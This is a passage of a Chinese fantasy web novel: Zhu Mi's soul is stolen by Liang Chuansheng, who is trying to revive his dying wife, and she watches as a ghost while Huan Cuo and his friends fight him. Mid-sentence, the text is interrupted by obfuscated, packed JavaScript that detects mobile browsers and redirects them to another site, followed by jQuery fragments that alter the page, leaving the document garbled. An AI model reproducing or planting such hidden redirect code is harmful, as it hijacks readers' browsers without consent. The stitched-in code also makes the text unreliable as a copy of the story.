祝弥说话说到一半,两眼一黑,摔倒的痛感没有传来。
再睁眼的时候,自己竟站在一片风吹黑影晃动的树林里。
回望四周,不远处有一座点灯的木屋,寒风吹来,她觉得自己该走进去避避风。
推门而入,里面果然温暖。
“梦成来了,坐吧。”
有人唤她,她便找了位置坐下,有很多人陪伴,很安心。
*
面对祝弥,桓错找回了一点最初接手养鹅的心路历程。
母亲一场急病,撒手人寰,丢下他,还有一对从洛阳就跟着她的大白鹅。
名义和感情上,两只鹅算他的兄长阿姐也不为过。
因为鹅和他一样在母亲去世时,难过出了情同手足的深度:会流泪,会精神恹恹,会卧床不起,最后生病,快熬不过去。于是他打起精神来治鹅,不惜把鹅舍搬进自己的房间时刻盯着,还寻遍人医兽医,试遍良方,修复好了鹅,好像也把他自己修复好了。
祝弥就是如此,这人一出现,好不容易又让他看见这世上能有和母亲的一点连结,却总是岌岌可危、摇摇欲坠。
都是很脆弱的东西,好像不努力伸长手臂去够就会摔碎失去。
于是当她失控摔下马,那瞬间他想的是大不了跟着她一起摔,自己给垫垫。幸好手快抓住了,衣领一提,轻松得像拎小鸡,失去知觉的人像个柔软裘衣,对折挂在自己身前的马上。
动作在电光火石之间完成,剩下两人大惊失色,庾彦庭气急败坏扯下祝弥的书袋,在里面东翻西找,书袋里除了那本书竟也莫名翻出一沓书生名帖。从中几人看见了自己的名字,最后在最下方居然有一个“梁川生忍冬书院”,和桓幼和收到的一模一样。
桓错:“……”
庾彦庭揪着那张名帖撕了个稀碎,气得手都在抖:“这人怎么回事,到底怎么回事,不是她发现的名帖有问题吗?自己身上还带着一个?!不信邪不怕死,非要和那姓梁的一决高下不成吗?!”
王洵乐摸着祝弥的脉搏:“和幼和的情形好像,被偷魂了?”
原本以为梁川生是和王家有恩怨,害的都是王家的人,可祝弥是上虞来的,世外高人得像个无知村夫,连自己未来妹婿都不认识,别说缠上什么纠葛了。
未来妹婿……
“难道是和我有关吗……”桓错看着面前昏倒的人,不由得沉思又愧疚,“可为什么不冲着我来?”
“光凭符咒也难以凭空害无辜之人,‘失魂落魄’也需要个契机。咱们的梦成兄怕是也有暗自心伤神伤之处,你就别想揽这个荣幸了。”庾彦庭上马扬鞭,呛他道:“再说谁敢让你桓大公子受气,片刻之间不得被你送走了。走,去会会这个梁生,看看到底是何方神圣——”
几人一到村口便有里正提前候命。里正不敢多言,领着三个半活人去了梁宅。
那老宅一片安详寂然,不像有异事发生。梁老夫妇颤巍巍出迎跪地,一问其子梁川生在哪,他们倒声音嘹亮,回:“忍冬书院在读。”
看样子是什么也不知道,三人顿时一筹莫展。
庾彦庭给祝弥卜的卦成了大凶,只道不妙。被偷魂之人,魂消魄散,恐怕就在今晚。
桓错正背着祝弥,村口一路走来只听见她嘴里喃喃有呓语,时而急,时而缓。往院内走两步,祝弥说话的声音变真切了一些。
三人对视一眼,庾彦庭气得啐了一声,带头往里走。走到宅子最深处,厨房,视线内却依旧一切如常,祝弥嘴里的话也听清了,“妈妈、呜呜……”几个类似的词来回念叨。
桓错忽然想起什么,对着蹲在墙角扒墙灰的庾彦庭说:“彦庭,你说偷魂可以用来做什么?”
庾彦庭两手的灰,头也没回:“不是逆天续命就是想死人返生呗。”
教科书上的经典案例。
桓错回头问梁二老:“你家最近有白事?”
那翁媪又颤抖着跪下,念着“大人明鉴,梁氏一族乃温俭良顺之辈,绝不相干旁门左道之事”,又哆哆嗦嗦指了指厨房后门,通向院外。
*
小满还是小满的时候,因为孤身一人,总是要时刻确认环境中存在令她安心的因素,就像渴水之人向往水源。
她需要的东西很具体又微小,比如冬日温暖的被窝,一顿热腾腾的火锅,日渐增加的银行卡余额……以及“妈妈”,两个字。
但这两个字像是魔咒,百试不灵、几乎成心结,因为她在不安时总会脱口而出,是她溺水时总是第一个漂至面前引诱她抓住的、看似安全的浮木。
生前,下班回家必经之路上有一个市民公园,闲暇的傍晚会有膝盖高的小屁孩绕着大人的腿转圈喊“妈妈妈妈妈妈”。缭绕之魔音,让她经过之后鬼使神差也小小喊了声妈妈。但瞬间被自己恶心到了,浑身不自在到周围五米的空气都像在嘲笑她。
偶尔几次深夜取悦自己,也试着喊妈妈,但像吃水煮蛋配硬面包,蛋是蛋包是包,不融合,没什么特别的感觉。只是心里空落落的,倒也没那么可悲,就是睡得更容易了。
现在她和人围坐一团,心安,宁静,立刻想到了“妈妈的怀抱”这一词,好像可以和它舒服地融在一起,任由五感化成浓稠的焦糖糖浆,缓慢咕嘟咕嘟冒着泡泡。
但,有不速之客打断了这一过程,听力从烂糊糖浆中被揪出来,一声很耳熟的急呼入耳。
——“快住手,梁川生!”
砰!
门被暴力踹开,感受到冷风吹来,焦糖凝固,泡泡破裂,祝弥的视线知觉逐渐恢复。
循声望过去,进来的居然是桓错,虽然那张脸她无论什么时候对上、说习惯了心已如止水也是假话。但她第一个念头是:哎哪都有你,怪烦事的!
又忽而注意到那脸上含着莫名浓烈的情绪,急切?担忧?愤怒?
跟着进来的还有庾彦庭,王洵乐,还有在王洵乐后背上的……嗯?她自己?还闭着眼睛。
怎么有两个自己?
她终于带着疑惑和逻辑开始环视现下屋内的场景,陪着她一起坐着的人有一个女人、一个婴孩、一个男人、又一个男人,然后是桓幼和、王季林。大家神情安详闭着眼睛,围坐成一个圈,圆圈中间躺着一个女人,不知为何这女人正在随着低语念经的声音缓慢自转,像个慢悠悠的陀螺。
梁川生正从不远处的案几上起身,头发和胡茬半白。
咦,他是不是几天没睡了,怎么老了那么多?
祝弥细看两眼,躺着的女人却和坐在她旁边的女人长得一模一样。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064796|195123||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>不过不奇怪,屋内也有两个她自己。
在所有人之外,遍地布满烛台灯火,多得重影,像镜子迷宫。
祝弥擦擦眼睛,确认自己没有眼花。
梁川生原本嘴里念念有词,眼神含情脉脉只在那女人身上,见外人进来,目光骤冷一个奋起向桓错扑过去,气势汹汹,像猎豹蓄力。
好像有刀光闪过,祝弥害怕见血,忍不住提醒:“桓错!”
但桓错一眼都没有看她。
像没听到似的。
冲进来的人和扑过去的人都像是抱了必死的气势,针锋相对的中间点却坐着那个女人,垂着身子无动于衷。祝弥只怕那柔弱姐姐被撞倒,不做多想箭步上前,拦不住不懂怜花惜玉的臭男人至少也要推开她。
秉着大不了四个人相撞的决心挤进去,碰撞的失衡感没有如约而至,祝弥的身体穿过了离她最近的梁川生,又穿过了那姐姐,白白一头猛劲扎了个空,像一拳打在棉花上,也像烟雾撞烟雾。
然后桓错、庾彦庭和梁川生没有任何阻碍地扭打在一起。己方人多势众,梁川生手上的刀被拍落,一声清脆金属落地声,祝弥尝到另一种心安之意,于是开始愣愣低头看自己的手。
晃一晃,手指边缘模糊,还微微逸散。
原来自己变成鬼了啊……
就像她眼中那些个个都很想说话却没听众的黑气一样。
变成阿飘让她心里轻松了一点,变淡了一点。不顾那几个活人生龙活虎地在一旁扭作一团、翻江倒海的混乱,有人发了疯长腿大摆飞踹,凳子桌子都翻倒,保龄球似的烛火纷纷倒下,扑灭或蔓延。有人崩溃一般捂脸嚎叫,又瞬间目露凶光重新恶扑上去。
祝弥不管,安安静静走到躺在正中间的姐姐面前。素未平生,只见第一面她就想叫她姐姐,可能是鬼和鬼之间的磁场吸引,惺惺相惜。
弯腰低头凑近,这位姐姐面容安详得过了头,说是正在安息也不算冒犯。
余光中有火舌向上燎,时不时飞过一些杂物工具,器皿碎了,屏风破了,窗也被砸豁开半扇,不用想肯定是场面越来越乱,唉,男的,烦人。
忽然有一只小手摸到了姐姐的脸上,轻轻柔柔,生怕吵醒她。
祝弥无须抬眼就能确认是谁,因为那只小手的主人下一秒就全身进入了她的视野,趴到了姐姐的肩膀和脖子之间——是那个婴孩。
很难分辨婴孩的年龄,因为鬼的边缘虚化逸散,或许婴孩原本很大,到如今也只剩一点点了,总之那是一个很小很小的初具人形的,孩子,大约西瓜大小,蹭蹭,是贴在妈妈的怀里、安心的表情。
祝弥:“……”
忽然意识到什么。
梁川生的目的是救活这个姐姐,姐姐将死未死,全凭最后一魂吊着。他到处物色,东拼西凑,集齐了两魂七魄,试图做出一个魂魄圆满、新生的人。
姐姐、婴孩和她是三魂,剩下季林和幼和等坐着一动不动全无反应的是七魄。
他们刚刚几乎都化在一起了,是桓错坏了人家的好事。
抬手,搭上姐姐和婴孩身上,立刻被一股情绪像潮湿的雨水般打湿。
偷魂换生结果如何已经不重要了,因为有新的景象正在祝弥眼前缓缓展开。
哗啦啦——